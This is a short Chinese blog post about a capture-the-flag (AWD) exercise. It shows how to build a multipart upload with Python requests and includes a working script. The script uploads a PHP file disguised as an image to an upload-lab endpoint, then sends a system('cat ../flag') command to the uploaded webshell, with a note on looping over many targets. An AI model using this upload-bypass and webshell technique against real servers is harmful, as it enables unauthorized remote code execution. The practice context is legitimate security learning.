python脚本之requests库上传文件

一、前言

在学习的时候,发现有一个AWD的文件上传执行漏洞,突然想着批量对不同靶机进行操作并get_flag。思路简单,但是没构造 过文件上传的requests 的post请求的payload。便记录一下。

二、构造知识

在上传文件的时候,数据表的post 请求体里面通常是下面这样

------WebKitFormBoundarycXFjbullGiRoq8pc
Content-Disposition: form-data; name="upload_file"; filename="2.php"
Content-Type: image/jpeg

<?php phpinfo();>
------WebKitFormBoundarycXFjbullGiRoq8pc
Content-Disposition: form-data; name="submit"


------WebKitFormBoundarycXFjbullGiRoq8pc--


其中“------WebKitFormBoundarycXFjbullGiRoq8pc”是参数分割符,不用管。

那么这就可以看成两个参数。

在构建post数据请求体的时候。这两个参数的格式是:

name:(<filename>,<file_content>,<content-type>)
#name 是字段里面的name,比如upload_file
#<filename> 上传的文件名
#如果参数没有就填none


所以上述的构造 可以为:

file_payload = {
"upload_file":("2.php",open("2.php",'rb'),"image/jpeg"),
"submit":(none,none,none)
}

三、实战脚本

import requests,re

headers = {
    'Host': '1.14.110.159:10003',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
    'Referer': 'http://1.14.110.159:10003/Pass-01/index.php',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}

def upload_file(url):

    file_payload = {
        "upload_file": ("t.php", open("2.txt", 'r'), "image/jpeg"),
        "submit": (None, "None", None)
    }

    re = requests.post(url,headers=headers,files=file_payload)


def get_flag(url):
    parm = {
        'cmd':'system("cat ../flag");'
    }
    re = requests.post(url,headers=headers,data=parm).text
    return re


if __name__ == '__main__':
	
    # url = 'http://1.14.110.159:10003/Pass-01/index.php'
    # upload_file(url)
    
    #getflag
    url = "http://1.14.110.159:10003/upload/t.php"
    a=get_flag(url)
    print(a)
	#如果批量上传或者getflag,那么使用for即可。当然提前处理url的拼接。
	#for url in urls:
	#	upload_file(url)
	

posted @ 2024-05-26 22:08  云岛夜川川  阅读(31)  评论(0编辑  收藏  举报